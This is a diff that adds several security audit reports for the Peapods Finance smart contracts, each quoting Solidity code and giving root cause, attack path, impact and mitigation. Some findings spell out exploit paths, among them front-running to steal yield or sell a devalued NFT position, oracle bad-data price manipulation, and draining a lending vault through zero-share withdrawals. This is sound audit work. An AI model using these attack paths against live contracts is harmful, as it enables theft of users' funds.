+ require(_amount > 0, "R");
+ Stake storage _stake = stakes[_msgSender()][_asset];
+ require(block.timestamp > _stake.lastStaked + _stake.lockupPeriod, "LU");
+ uint256 _amtStakeToRemove = (_amount * _stake.stakedToOutputDenomenator) / _stake.stakedToOutputFactor;
+ @>>> _stake.amtStaked -= _amtStakeToRemove;
+ @>>> _burn(_msgSender(), _amount);
+ IERC20(_asset).safeTransfer(_msgSender(), _amtStakeToRemove);
+ emit Unstake(_msgSender(), _asset, _amount, _amtStakeToRemove);
+ }
+```
+```solidity
+ function _updateUserState(address _user, address _asset, uint256 _addAmt)
+ internal
+ returns (uint256 _convFctr, uint256 _convDenom)
+ {
+ ...
+ else if (_mintedAmtBefore > _finalNewMintAmt) {
+ if (_mintedAmtBefore - _finalNewMintAmt > balanceOf(_user)) {
+ @>>> _burn(_user, balanceOf(_user)); //zero will be pass here as _amount
+ } else {
+ @>>> _burn(_user, _mintedAmtBefore - _finalNewMintAmt);
+ }
+
+```
+
+
+```solidity
+ function _removeShares(address _wallet, uint256 _amount) internal {
+ @>>> require(shares[_wallet] > 0 && _amount <= shares[_wallet], "RE");
+ _distributeReward(_wallet);
+ totalShares -= _amount;
+ shares[_wallet] -= _amount;
+ if (shares[_wallet] == 0) {
+ totalStakers--;
+ }
+ _resetExcluded(_wallet);
+ }
+```
+
+### Imapct
+those users who unstake their asset completely cannot stake again
+
+### Mitigation
+_burn function just should be call with a value greater than zero
\ No newline at end of file
diff --git a/310.md b/310.md
new file mode 100644
index 0000000..5d02f44
--- /dev/null
+++ b/310.md
@@ -0,0 +1,52 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# Users get less index token than _amountMintMin
+
+### Root Cause
+user should pay fee when hasTransferTax is true and swapping is zero and _swapAndFeeOn is 1
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ ...
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ ...
+ @>>>} else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+### Internal Condition
+hasTransferTax = true
+
+### PoC
+user decide to bond token through IndexUtils contract and specify desired index token and min amount and after transfer underlying token to index token contract , index token will be minted
+and will be sent to indexUtils contract. finally, index tokens will be sent to user but user pay transfer tax here. hence, the user get less than _amountMintMin because of deducted fee
+```solidity
+function bond(IDecentralizedIndex _indexFund, address _token, uint256 _amount, uint256 _amountMintMin) external {
+ ...
+ _indexFund.bond(_token, _amount, _amountMintMin);
+ @>>> IERC20(_indexFund).safeTransfer(_msgSender(), IERC20(_indexFund).balanceOf(address(this)) - _idxBalBefore);
+
+ // refund any excess tokens to user we didn't use to bond
+ for (uint256 _i; _i < _al; _i++) {
+ _checkAndRefundERC20(_msgSender(), _assets[_i].token, _balsBefore[_i]);
+ }
+ }
+```
+### Code Snippet
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174
+
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L42
+
+### Impact
+users get less index token than expected
+
+### Mitigation
+consider to adding a modifier like `DecentralizedIndex::noSwapOrFee` in `IndexUtils::bond`
\ No newline at end of file
diff --git a/311.md b/311.md
new file mode 100644
index 0000000..08ece37
--- /dev/null
+++ b/311.md
@@ -0,0 +1,106 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# User pay fee more than expected in `IndexUtils::addLPAndStake`
+
+### Root Cause
+user should pay fee when hasTransferTax is true and swapping is zero and _swapAndFeeOn is 1
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ ...
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ ...
+ @>>>} else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L65
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L100
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174
+### Internal Condition
+hasTransferTax = true
+
+### PoC
+users can specify their desired lp token and index token to add liquidity through indexutils contract and for that at first their index token will be sent to indexUtils contract[user pay fee for first time] and then their index tokens and lp tokens will be sent to index token contract to add as liquidity and finally left over amounts will be returned to users[user pay fee for second time] and this causes users pay fee twice
+
+```solidity
+ function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ address _indexFundAddy = address(_indexFund);
+ address _pairedLpToken = _indexFund.PAIRED_LP_TOKEN();
+ uint256 _idxTokensBefore = IERC20(_indexFundAddy).balanceOf(address(this));
+ uint256 _pairedLpTokenBefore = IERC20(_pairedLpToken).balanceOf(address(this));
+ uint256 _ethBefore = address(this).balance - msg.value;
+ //user pay fee here for first time
+ @>>> IERC20(_indexFundAddy).safeTransferFrom(_msgSender(), address(this), _amountIdxTokens);
+ if (_pairedLpTokenProvided == address(0)) {
+ require(msg.value > 0, "NEEDETH");
+ _amtPairedLpTokenProvided = msg.value;
+ } else {
+ IERC20(_pairedLpTokenProvided).safeTransferFrom(_msgSender(), address(this), _amtPairedLpTokenProvided);
+ }
+ if (_pairedLpTokenProvided != _pairedLpToken) {
+ _zap(_pairedLpTokenProvided, _pairedLpToken, _amtPairedLpTokenProvided, _amountPairedLpTokenMin);
+ }
+
+ IERC20(_pairedLpToken).safeIncreaseAllowance(
+ _indexFundAddy, IERC20(_pairedLpToken).balanceOf(address(this)) - _pairedLpTokenBefore
+ );
+
+ // keeping 1 wei of each asset on the CA reduces transfer gas cost due to non-zero storage
+ // so worth it to keep 1 wei in the CA if there's not any here already
+ _amountOut = _indexFund.addLiquidityV2(
+ IERC20(_indexFundAddy).balanceOf(address(this)) - (_idxTokensBefore == 0 ? 1 : _idxTokensBefore),
+ IERC20(_pairedLpToken).balanceOf(address(this)) - (_pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore),
+ _slippage,
+ _deadline
+ );
+ require(_amountOut > 0, "LPM");
+
+ IERC20(DEX_ADAPTER.getV2Pool(_indexFundAddy, _pairedLpToken)).safeIncreaseAllowance(
+ _indexFund.lpStakingPool(), _amountOut
+ );
+ _amountOut = _stakeLPForUserHandlingLeftoverCheck(_indexFund.lpStakingPool(), _msgSender(), _amountOut);
+
+ // refunds if needed for index tokens and pairedLpToken
+
+ if (address(this).balance > _ethBefore) {
+ (bool _s,) = payable(_msgSender()).call{value: address(this).balance - _ethBefore}("");
+ require(_s && address(this).balance >= _ethBefore, "TOOMUCH");
+ }
+ //user pay fee for second time
+ @>>> _checkAndRefundERC20(_msgSender(), _indexFundAddy, _idxTokensBefore == 0 ? 1 : _idxTokensBefore);
+ _checkAndRefundERC20(_msgSender(), _pairedLpToken, _pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore);
+ }
+```
+
+### Impact
+
+loss of funds for users because they pay fee more than expected
+
+### Mitigation
+consider to adding a modifier like `DecentralizedIndex::noSwapOrFee` in `IndexUtils::addLPAndStake`
+also I believe this modifier should exist for `Indexutils::unstakeAndRemoveLP`
+
+
+
+
diff --git a/312.md b/312.md
new file mode 100644
index 0000000..deeb775
--- /dev/null
+++ b/312.md
@@ -0,0 +1,62 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# Creating AutocompoundingPodLp will be reverted because of minimumDepositAtCreation
+
+### Root Cause
+
+users can create autoCompoundingPodLp through autoCompoundingPodLpFactory and if minimumDepositAtCreation is greater than zero they should deposit this min amount in deploy phase
+
+```solidity
+ function create(
+ string memory _name,
+ string memory _symbol,
+ bool _isSelfLendingPod,
+ IDecentralizedIndex _pod,
+ IDexAdapter _dexAdapter,
+ IIndexUtils _indexUtils,
+ uint96 _salt
+ ) external returns (address _aspAddy) {
+ _aspAddy =
+ _deploy(getBytecode(_name, _symbol, _isSelfLendingPod, _pod, _dexAdapter, _indexUtils), _getFullSalt(_salt));
+ if (address(_pod) != address(0) && minimumDepositAtCreation > 0) {
+@>>> _depositMin(_aspAddy, _pod);
+ }
+ AutoCompoundingPodLp(_aspAddy).transferOwnership(owner());
+ emit Create(_aspAddy);
+ }
+```
+and autoCompoudingPodLpFactory gets this min amount from msg.sender
+
+```solidity
+ function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
+ address _lpToken = _pod.lpStakingPool();
+@>> IERC20(_lpToken).safeTransferFrom(_msgSender(), address(this), minimumDepositAtCreation);
+ IERC20(_lpToken).safeIncreaseAllowance(_aspAddy, minimumDepositAtCreation);
+ AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
+ }
+```
+
+### Internal Condition
+minimumDepositAtCreation > 0
+
+### PoC
+Let's assume users want to deploy a self lending Pod through `LeverageFactory::createSelfLendingPodAndAddLvf`, first of all asp'address will be computed and a pair will be created on frax lending and after that Pod will be deployed with frax lending Lp token as pairLpToken and then asp autoCompoundingPodLop will be deployed but because of minimumDepositAtCreation transaction will be reverted because LeverageFactory doesn't have spTKN token
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLpFactory.sol#L31
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLpFactory.sol#L39
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L241
+
+### Impact
+
+break core functionalities
+
+### Mitigation
+
+if protocol team deicide to add liquidity to Pod pool in LeverageFactory this causes complexity
+and I think better solution can be ignoring minimumDepositAtCreation when msg.sender is LeverageFactory
\ No newline at end of file
diff --git a/313.md b/313.md
new file mode 100644
index 0000000..6f891a1
--- /dev/null
+++ b/313.md
@@ -0,0 +1,54 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# Malicious actors can front-run setYieldConvEnabled
+
+### Root Cause
+
+AutoCompoundingPodLp'owner can enable or disable processing reward tokens through `AutoCompoundingPodLp::setYieldConvEnabled` but when owner decides to enable with sets yieldConvEnabled to true this causes _totalAssets will be increase sharply
+
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+@>>>> if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+@>>> _totalAssets += _lpAmtOut;
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+```
+
+### Internal Conditions
+
+yieldConvEnabled = false
+
+### PoC
+
+Let's assume there is reward tokens in AutoCompoundingPodLp contract and `AutoCompoundingPodLp::setYieldConvEnabled` will be called by contract's owner and then malicious actor see transaction in mempool and calls `AutoCompoundingPodLp:deposit`. hence, totalAssets wouldn't update because yieldConvEnabled is false and when owner's transaction will be executed
+totalAssets will be updated and malicious actor can withdraw his/her assets plus profit
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L463
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L214
+
+### Impact
+
+Malicious actor can steal other users profit
+
+### Mitigation
+
+Owner should pause deposit function when he/she wants to call `AutoCompoundingPodLp::setYieldConvEnabled`
\ No newline at end of file
diff --git a/314.md b/314.md
new file mode 100644
index 0000000..9211262
--- /dev/null
+++ b/314.md
@@ -0,0 +1,42 @@
+Nutty Steel Sealion
+
+Medium
+
+# Malicious actor can front-run LVF position transfer to devalue It
+
+### Summary
+
+The Peapods protocol introduces Leverage Volatility Farming (LVF), enabling users to create positions represented as NFTs. These positions can be transferred or traded on secondary markets. A malicious actor can front-run a transfer transaction by removing the leverage before the ownership transfer is finalized, thereby devaluing the position.
+
+### Root Cause
+
+[`LeveragePositions`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeveragePositions.sol#L7-L23) lack a time-lock mechanism to prevent immediate transfers after their state has changed.
+
+### Internal Pre-conditions
+
+LVF position is created.
+
+### External Pre-conditions
+
+Victim initiates a buy transaction.
+
+### Attack Path
+
+1. The attacker creates an LVF position.
+2. The attacker lists the position (NFT) for sale on the marketplace.
+3. The victim notices the offer and initiates a buy transaction.
+4. The attacker detects the pending transaction and front-runs it, removing leverage from the position.
+5. The victim’s transaction executes successfully, purchasing the NFT.
+6. The attacker regains their initial pTKN, while the victim is left with a worthless NFT.
+
+### Impact
+
+This issue creates an opportunity for fraudulent activity. The victim unknowingly purchases an NFT with no actual value, leading to a direct financial loss.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Introduce a delay between leverage modifications and position transfers. Once leverage is changed, restrict selling or transferring the position for a predefined period.
\ No newline at end of file
diff --git a/315.md b/315.md
new file mode 100644
index 0000000..ab76539
--- /dev/null
+++ b/315.md
@@ -0,0 +1,95 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# The protocol gets fee more than expected
+
+### Root Cause
+
+when `AutocompoundingPodLp::_processRewardsToPodLp` will be called all reward tokens will be converted to PairLpToken and after apply fees remaining PairLpToken will be converted to aspTKN
+and totalAssets will be updated
+
+```solidity
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+@>>> uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+@>>> _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+@>>> _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+```
+
+_lpAmtOut can be zero because slippage control has been set in `AutoCompoundingPodLp::_pairedLpTokenToPodLp`
+
+```solidity
+
+
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+@>>> _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+@>>> try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ // reset here to local balances to accommodate any residual leftover from previous runs
+ _podAmountOut = pod.balanceOf(address(this));
+ _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+ try indexUtils.addLPAndStake(
+@>>> pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+ }
+```
+
+### Internal Conditions
+
+TokenA as reward token balance = 1000
+PairLpToken balance = 1000
+
+TokenA to PairLpToken rate = 1:1
+
+Protocol Fee = 1%
+
+### PoC
+
+After swapping all rewards tokens 2000 PairLpToken remain in AutoCompoundingPodLp based on above assumption and 20 PairLpToken will be deducted because of protocol fee but because of slippage control PairLpTokens wouldn't convert to aspTKN .hence , when _processRewardsToPodLp will be called again 18 PairLpToken will be deducted because of protocol fee and this causes protocol get more fee than expected
+
+**Code snippet**
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L241
+
+### Imapct
+
+The protocol gets fee more than expected
+
+### Mitigation
+
+No response
+
diff --git a/316.md b/316.md
new file mode 100644
index 0000000..77ec1a2
--- /dev/null
+++ b/316.md
@@ -0,0 +1,93 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# _minPtknOut can be zero because of badData
+
+### Root Cause
+`AutoCompoundingPodLp::_pairedLpTokenToPodLp` uses `podOracle::getPodPerBasePrice` to compute _minPtknOut for preventing against sandwich attack
+and min amount has been limited to 95% but there is a tip here,
+getPodPerBasePrice can return 0 because of bad data and that wouldn't handle here and this causes _minPtknOut become 0
+```solidity
+
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+@>>> return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+
+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+
+and price can be zero because of two reason, first one maxDelay will be set by owner and if price data's delays is greater than maxDelay badData will be set to true
+
+```solidity
+ function getPriceUSD18(
+ address _clBaseConversionPoolPriceFeed,
+ address _quoteToken,
+ address _quoteV3Pool,
+ uint256 _twapInterval
+ ) external view virtual override returns (bool _isBadData, uint256 _price18) {
+ uint256 _quotePriceX96 = _getPoolPriceTokenDenomenator(_quoteToken, _quoteV3Pool, uint32(_twapInterval));
+ // default base price to 1, which just means return only quote pool price without any base conversion
+ uint256 _basePrice18 = 10 ** 18;
+ uint256 _updatedAt = block.timestamp;
+ if (_clBaseConversionPoolPriceFeed != address(0)) {
+ (_basePrice18, _updatedAt, _isBadData) = _getChainlinkPriceFeedPrice18(_clBaseConversionPoolPriceFeed);
+ }
+ _price18 = (_quotePriceX96 * _basePrice18) / FixedPoint96.Q96;
+ uint256 _maxDelay = feedMaxOracleDelay[_clBaseConversionPoolPriceFeed] > 0
+ ? feedMaxOracleDelay[_clBaseConversionPoolPriceFeed]
+ : defaultMaxOracleDelay;
+@>>> _isBadData = _isBadData || _updatedAt < block.timestamp - _maxDelay;
+ }
+```
+and second one the price isn't in min/max range
+
+```solidity
+ function _isValidAnswer(address _feed, int256 _answer) internal view returns (bool _isValid) {
+ _isValid = true;
+ int192 _min = IOffchainAggregator(IEACAggregatorProxy(_feed).aggregator()).minAnswer();
+ int192 _max = IOffchainAggregator(IEACAggregatorProxy(_feed).aggregator()).maxAnswer();
+
+ if (_answer > _max || _answer < _min) {
+@>>> _isValid = false;
+ }
+ }
+```
+
+### External Condition
+1-chainlink.updateAt is less than block.timestamp minus maxDelay which will be set by owner
+2-price isn't in range
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L319
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L118
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L176
+
+
+
+### Attack Path
+`AutoCompoudingPodLp::_processRewardsToPodLp` will be called for every deposit and withdraw in AutoCompoundingPodLp contract
+and attacker can buy large amount Pod lp token from Pod-PairLpToken pool and this causes Pod will increase and after that deposit
+dust amount into AutoCompoudningPodLp just to trigger `AutoCompoudingPodLp::_processRewardsToPodLp` and after that sells his/her Pod Tokens
+
+### Impact
+loss of funds for protocol
+
+### Mitigation
+
+consider to handle badData in AutoCompoundingPodLp contract
diff --git a/317.md b/317.md
new file mode 100644
index 0000000..a9590c7
--- /dev/null
+++ b/317.md
@@ -0,0 +1,53 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# Users pay fee just when remaining pTkn is greater than zero
+
+**Root cause**
+
+users can init position and then add and remove leverage and for adding leverage they should pay open fee and for remove leverage they pay close fee
+but users pay close fee just when there is remaining pod
+
+```solidity
+ function callback(bytes memory _userData) external override workflow(false) {
+ ...
+ (uint256 _ptknToUserAmt, uint256 _pairedLpToUser) = _removeLeveragePostCallback(_userData);
+ @>>> if (_ptknToUserAmt > 0) {
+ // if there's a close fee send returned pod tokens for fee to protocol
+ if (closeFeePerc > 0) {
+ uint256 _closeFeeAmt = (_ptknToUserAmt * closeFeePerc) / 1000;
+ IERC20(_pod).safeTransfer(feeReceiver, _closeFeeAmt);
+ _ptknToUserAmt -= _closeFeeAmt;
+ }
+ IERC20(_pod).safeTransfer(_posProps.owner, _ptknToUserAmt);
+ }
+ if (_pairedLpToUser > 0) {
+ IERC20(_getBorrowTknForPod(_posProps.positionId)).safeTransfer(_posProps.owner, _pairedLpToUser);
+ }
+ } else {
+ require(false, "NI");
+ }
+ }
+```
+
+**Code Snippet**
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L224-231
+
+**Internal Condition**
+
+closeFeePerc != 0
+
+**Attack Path**
+
+Users can prediect the required pod token to remove their leverage through specify acquire value for _borrowAssetAmt and _collateralAssetRemoveAmt
+causes _ptknToUserAmt be zero to escape close fee
+
+### Impact
+
+Loss of funds for protocol
+
+### Mitigation
+
+consider to force users to pay close fee even there isn't remaining pod token
\ No newline at end of file
diff --git a/318.md b/318.md
new file mode 100644
index 0000000..ee9ac21
--- /dev/null
+++ b/318.md
@@ -0,0 +1,46 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# LeverageManager::_bondToPod for pods which has more than asset as a underlying token will be reverted
+
+### Root Cause
+
+Users can init position and then adding leverage but users should deposit their Pods Token into LeverageManager or deposit or add leverage through `LeverageManager::addLeverageFromTkn` and this function
+wraps users' asset into pod token but there is problem here and that is `LeverageMananger::_bondToPod` just work for those Pods which has one underlying token
+
+```solidity
+ function _bondToPod(address _user, address _pod, uint256 _tknAmt, uint256 _amtPtknMintMin) internal {
+ IDecentralizedIndex.IndexAssetInfo[] memory _podAssets = IDecentralizedIndex(_pod).getAllAssets();
+@>>> IERC20 _tkn = IERC20(_podAssets[0].token);
+ uint256 _tknBalBefore = _tkn.balanceOf(address(this));
+ _tkn.safeTransferFrom(_user, address(this), _tknAmt);
+ uint256 _pTknBalBefore = IERC20(_pod).balanceOf(address(this));
+ _tkn.approve(_pod, _tkn.balanceOf(address(this)) - _tknBalBefore);
+ IDecentralizedIndex(_pod).bond(address(_tkn), _tkn.balanceOf(address(this)) - _tknBalBefore, _amtPtknMintMin);
+ IERC20(_pod).balanceOf(address(this)) - _pTknBalBefore;
+ }
+```
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L127
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L571
+
+### Internal Condition
+
+there is a Pod token with TokenA and TokenB as underlying token with weight 50% for both
+
+### PoC
+
+When users want to call `LeverageManager::addLeverageFromTkn` to add leverage `LeverageManager::_bondToPod` just try to get TokenA from user
+but `WeightedIndex::bond` needs TokenB as well and this causes the transaction will be reverted
+
+### Impact
+
+break core functionalities
+
+### Mitigation
+
+consider to compute required amount for all tokens based on their weight
\ No newline at end of file
diff --git a/319.md b/319.md
new file mode 100644
index 0000000..9c9d6cb
--- /dev/null
+++ b/319.md
@@ -0,0 +1,32 @@
+Square Magenta Mouse
+
+High
+
+# Stuck rewards and broken invariant due to constant fee assumption
+
+## Summary
+One-sided LP supply uses a formula with fixed values designed for 0.3% fee liquidity pools. However, Aerodrome pools have non-constant fees that are subjects to changes. Refer to Aerodrome's [website](https://aerodrome.finance/liquidity?filters=volatile) - fees for volatile pools vary between 0.04% - 1%. Using a 0.3% one-sided supply formula for a pool with different fee percentage will end up with irretrievable leftover funds and non-functional one-sided supply.
+## Description
+The one-sided supply formula was designed whenever we have to provide liquidity to a pool but we have some amount of token0 and none of token1. This formula helps us determine how much token0 should we swap for token1 so in the end both us and the liquidity pool end up with equal token0:token1 ratios and we perform a clean provision without any leftovers. The formula is as follows:
+
+$$
+SQRT(((2 - fee) * reservesToken0)^2 + 4(1 - fee) * amountToken0 * reservesToken0) - (2 - fee) * reservesToken0 / (2 * (1 - fee))
+$$
+
+This is currently implemented in [`_getSwapAmt`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L391-L395), however with fixed numbers designed for fee = 0.3%
+```solidity
+ function _getSwapAmt(address _t0, address _t1, address _swapT, uint256 _fullAmt) internal view returns (uint256) {
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1));
+ uint112 _r = _swapT == _t0 ? _r0 : _r1;
+ return (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) - (_r * 1997)) / 1994; // @audit these numbers are for 0.3% exclusively
+ }
+```
+Doing calculations for a specific fee percentage, but executing swaps at a different one will result in imperfect swaps and leftover tokens which will remain in the contract. These funds are also irretrievable as there is no rescue function. Having leftover funds defeats the whole purpose of implementing the one-sided supply flow hence this can be ruled as broken functionality.
+
+Additionally, the README states that there are no limitations on values set by external admins of integrated protocols. We observed on Aerodrome's website that volatile pool fees are not constant and have been changed in the past by Aerodrome fee managers. The issue has adequate probability and impact.
+
+## Impact
+Broken invariant of one-sided supply functionality
+Stuck funds
+## Mitigation
+Rewrite `_getSwapAmt` to fetch `volatileFee` from Aerodrome's [PoolFactory.getFee](https://github.com/aerodrome-finance/contracts/blob/a5fae2e87e490d6b10f133e28cc11bcc58c5346a/contracts/factories/PoolFactory.sol#L114-L117) and adjust the `2-f` parts of the formula accordingly.
\ No newline at end of file
diff --git a/320.md b/320.md
new file mode 100644
index 0000000..9fb1c97
--- /dev/null
+++ b/320.md
@@ -0,0 +1,40 @@
+Square Magenta Mouse
+
+High
+
+# `LendingAssetVault` can be drained by anyone
+
+## Summary
+The `withdraw` method in `LendingAssetVault` does not perform a 0-share check, allowing any withdrawal to pass without burning any shares as long as the requested amount is lower than the value of a single share.
+## Description
+Let's observe the `convertToShares` method used in `withdraw`
+```solidity
+ function convertToShares(uint256 _assets) public view override returns (uint256 _shares) {
+ _shares = (_assets * PRECISION) / _cbr();
+ }
+```
+The `_cbr` method determines the asset-per-share with precision of 1e27. Let's assume that there are 1e18 shares and 100e18 assets, asset-per-share is 100 and `_cbr = 100e27`
+
+If we submit a withdraw with `_assets = 99` then `_shares = (99 * 1e27) / 100e27 = 99e27/100e27 = 0` due to solidity rounding down. Execution will continue with `shares = 0` and we go in `_withdraw` where [no 0-value checks are performed either](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/LendingAssetVault.sol#L184).
+```solidity
+ function _withdraw(uint256 _shares, uint256 _assets, address _owner, address _caller, address _receiver) internal {
+ if (_caller != _owner) {
+ _spendAllowance(_owner, _caller, _shares);
+ }
+ uint256 _totalAvailable = totalAvailableAssets();
+ _totalAssets -= _assets;
+
+
+ require(_totalAvailable >= _assets, "AV");
+ _burn(_owner, _shares); // @note no sanity checks
+ IERC20(_asset).safeTransfer(_receiver, _assets);
+ emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
+ }
+```
+Everything passes and attacker receives the funds. Attacker repeats this until the vault is drained or until `_cbr = 1e27` and attacker has no valid inputs anymore since 1 wei of share will be worth 1 wei of asset.
+
+The attack is still relevant even if ending up being unprofitable due to gas costs as it is still considered destruction of value without any external limitations. For example, stealing 100k USDC and incurring 120k USDC in costs is still a loss of 100k USDC for protocol users for a mere 20k USDC cost of doing business.
